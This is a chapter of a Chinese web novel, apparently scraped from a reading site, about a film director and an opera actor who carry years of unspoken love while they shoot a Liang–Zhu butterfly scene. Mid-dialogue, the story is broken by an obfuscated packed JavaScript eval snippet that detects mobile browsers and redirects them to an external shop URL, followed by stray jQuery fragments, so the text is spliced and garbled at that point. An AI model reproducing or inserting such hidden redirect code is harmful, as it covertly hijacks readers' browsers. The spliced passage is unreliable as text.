舞台那侧。


    幕布后的阴影里，李霄川的右手正被化妆师紧急处理。木屑嵌在伤口中，不严重，但血珠不断渗出，染红了棉签。


    化妆师每擦一下，他的指节就痉挛似的抽动，手背青筋暴起。


    “轻点。”他漫不经心地吩咐，眼睛却盯着监视器后的陈声和，“一会儿还要给陈导演化蝶呢。”


    “…………”陈声和装作没听见。


    他在成都上了两年学，早就摸透了这调调，四川人夸你“乖”的时候，未必是真觉得你乖，也有可能在说“你装什么装”。


    可片场已经有不少目光在偷偷往这边扫了，跟一群瓜猹似的在他俩之间来回巡视。


    不过俩人都装作看不到，干他们这行的，谁不爱八卦，比那村口的老太太们都爱吃瓜。


    补完妆的李霄川已经重新就位。


    黛青眼线勾勒出凌厉的弧度，泪痕被完美掩盖，仿佛方才的崩溃从未发生。但陈声和依旧看得分明，那人眼尾的胭脂比之前浓了几分，像是要遮住什么。


    “准备，开始！”


    陈声和在无数个失眠的深夜里，像放电影一样，把他和李霄川那点事儿翻来覆去地琢磨。


    他问自己，当初怎么就一头栽进去了，还栽得这么深，这么多年都爬不出来。


    是因为李霄川那张脸吗？


    确实，那家伙站在台上，油彩勾画，凤眼斜飞，水袖一甩，确实是顶顶好看的呀。


    等下了台，卸了妆，会只对他一个人露出点别样的神情。


    他会像只没骨头的猫儿，整个人瘫在排练厅的旧地板上，汗湿的头发贴着额头，对着陈声和的方向，有气无力地哼唧：“幺儿，拉我一把嘛，腿杆莫得力气咯……”


    那声调软绵绵的，带着点耍赖的鼻音，跟台上那个唱高腔能穿云裂石的武生判若两人。


    但陈声和拍过那么多演员，好看的人见得多了。他想，不是的，不只是因为那张脸。


    那到底是因为什么呢？


    他闭上眼，脑海里最先冒出来的，不是多么惊心动魄的时刻，反而是一些细碎得几乎要被遗忘的片段。


    大概就是那个午后，在闷热的后台，他看见刚下台的李霄川，正歪着头对镜子上药。


    勒头在头皮上磨破了一圈，渗着血丝，汗水把颈后的头发黏成绺。台上那个挥斥方遒的武生，此刻正笨手笨脚地跟自己较劲，疼得龇牙咧嘴。


    就那么一下，陈声和心里“咯噔”一声。


    那一瞬间，台上流光溢彩的幻象悄然褪去，露出了底下带着血色而走温热的真实。


    而这份真实，不偏不倚，正好硌在了他心口最柔软的那处。


    还有他那份川式“霸道”的好。


    他一个广东仔，吃惯了清淡，初到成都，被辣椒折磨得够呛。李霄川知道了，下次再带他去吃饭，也不问，直接就点不辣的菜。


    许许多多，数不清了……


    那种好，是不讲道理的，然而这种不由分说的体贴，却滚烫得让他无从招架。


    就是这些个细小的瞬间，让他动了情。


    可偏偏，也是这个人，把他拖进了无边的痛苦里。


    李霄川的爱太亮了，像正午的太阳，灼热、直接，恨不得把一切都摊开在光天化日之下。


    可陈声和不行。


    他的身后是宗祠牌位，是父母殷切到让他窒息的目光，是整个环境无声却庞大的压力。


    他越是贪恋李霄川给的光和热，就越是看清自己身后那片无法驱散的阴影。


    因为他给不了李霄川想要的坦荡，每一次都回避，沉默，都像是在对方炽热的心上浇下一盆冷水，也像是在自己心口划下一刀。


    所以，哪里是因为某一件具体的事呢？


    是台上耀眼台下笨拙的反差，是那份不容拒绝的霸道温柔，是他自己给不了回应的愧疚，是明明相爱却把彼此都折磨得筋疲力尽的绝望……


    所有这些揉碎了、搅烂了，混在一起，才成了他心头一碗熬了五年，依然苦涩难当的药。


    让他动情的是李霄川的“真”，让他痛苦的也是这份“真”。


    这碗叫李霄川的苦药啊，他一喝就是七年，早他爹的成了戒不掉的瘾。


    ……


    舞台上，琴声最后一个音猛地收住，可那余韵却像根看不见的丝线，死死勒在陈声和的喉咙口。他赶紧眨了眨眼，把突然冲上眼眶的湿意硬生生憋了回去。


    镜头之内，李霄川跪伏在冰冷的“坟台”前，大红的嫁衣广袖铺展开，凄艳得如同一片血泊。


    按剧本，此刻本该爆竹炸响、烟雾升腾，预示化蝶的神迹，可道具组那边却一片死寂，迟迟没有动作。


    一片令人窒息的静默中，李霄川忽地抬手，猛地扯断了颈项上的珍珠项链，那本是祝英台身份与束缚的象征。


    浑圆的珠子噼里啪啦地迸溅开来，争先恐后地砸在木地板上，滚落得到处都是，那声音像一场猝不及防的冰雹，砸懵了全场。


    这完全剧本外的即兴发挥，将那种决绝的破碎感推向了顶峰，把所有工作人员都钉在了原地，一时无人敢动，也无人敢言。


    “Cut！”


    陈声和的声音总算划开了这片僵住的空气。他这才后知后觉地感到手心一阵刺痛，低头一看，才发现刚才攥得太紧，对讲机的边角在自己手心硌出了一道深红的印子。


    片场凝固了那么小会儿，才有工作人员如梦初醒地鼓掌。掌声经久不息，李霄川已经撑着墓碑站起来，假发髻歪斜，露出他原本的短发茬。


    他弯腰捡起一颗珍珠，用旦角的水袖擦了擦，然后朝摄像机这边轻轻一弹。“咚”的一声轻响，珍珠正正打在陈声和的镜头盖上，又骨碌碌滚到了他脚边。


    “李老师辛苦了！”场务赶紧递毛巾，却被李霄川偏头避开，扔下一句“谢谢”。


    他径直走到监视器前，嫁衣腰带垂下的流苏随着动作还在晃，扫过陈声和的手背，痒得像被羽毛刮过。


    “陈导啊，”他脸上还带着祝英台的妆，声音却恢复成原本的低沉，“刚才即兴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005865|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发挥那段，能用吗？”


    陈声和没应声，目光落在他被头套勒得发红的额角上：“那串珍珠道具被你扯坏了。”


    “赔就是了。”李霄川勾起嘴角，这个表情让晕染的胭脂裂开细纹，“就像当年赔你摔碎的茶具。”


    林瑶突然从旁边插进来：“李老师，您手还在流血呢，先包扎一下吧？”


    低头看去，果然有血正从他攥着的指缝再次渗出来。陈声和本能地摸向口袋里的创可贴，又硬生生停住。


    “这点小伤算什么。”李霄川满不在乎地把血抹在嫁衣的金线上，“反正这戏服……”


    “要还的。”陈声和截住他的话头，“十五分钟后补拍特写。”


    李霄川脸上那点假笑瞬间垮了。他往前逼近半步，头上凤冠的垂珠差点戳到陈声和鼻梁：“怕我赔不起？”


    陈声和屏住呼吸，连眼睛都没敢抬。


    正好道具组在后面搬墓碑，哐当哐当响得人心烦。


    他趁机往后撤了两步，腰眼撞上工作台边沿，台面上那个分镜稿文件夹应声翻倒。


    雪白的纸张像受惊的鸽子四散飞开，最上面那张正好是化蝶镜头的设计图，梁祝在漫天桃花中相拥的特写草图。


    那张图纸打着旋飘落，不偏不倚落在李霄川脚前。他向前迈步时，靴底碾过纸面，留下半个胭脂色的脚印，踩在画中两只蝴蝶交叠的翅膀上。


    “准备下一场。”陈声和别开脸，扭头就往监视器那边走。


    刚迈出两步，身后突然传来刺啦一声布料撕裂的脆响。他脚步微顿，不用回头也知道，是李霄川直接把水袖扯下来了。


    最后一个镜头拍完时，夕阳已经斜斜地照进片场。


    场记打板的声音清脆地划破凝滞的空气：“《柳荫记》第三十一场，Take 4，过了！”


    整个片场顿时活络起来。灯光组开始收柔光布，道具组忙着拆那些软木做的假墓碑。


    陈声和坐在监视器前，画面定格在李霄川最后一个特写：哭花的油彩在下巴凝成一道蓝黑相间的痕迹，看着像干涸的河床，又像潮汕老宅屋檐下那些年深日久的雨痕。


    “陈导，素材要保一条吗？”副导老张凑过来，身上还带着户外拍摄沾上的尘土味。


    陈声和的视线没有离开屏幕，右手食指摩挲着键盘上的删除键，指甲边缘在键帽上刮出轻微的声音。


    “……不用。”他最终开口，声音比想象中更干涩，“这条可以。”


    “好嘞！”老张伸了个懒腰，“收工！”


    陈声和依旧坐在原地，他没有立刻关机，而是将进度条拖回李霄川哭坟的那一段。


    画面里，祝英台跪在坟前，十指深深抠进软木做的道具墓碑，指甲缝里渗出的血丝在棕色的木料上分外刺目。


    唱到“要相逢除非是梦里团圆”时，李霄川的嗓音突然哑了一瞬，像是被什么硬生生哽住了喉头。


    陈声和眯起眼，将音频波形放大到极致。在密集的锣鼓点间隙，有一帧几乎听不见的气音波形异常突起。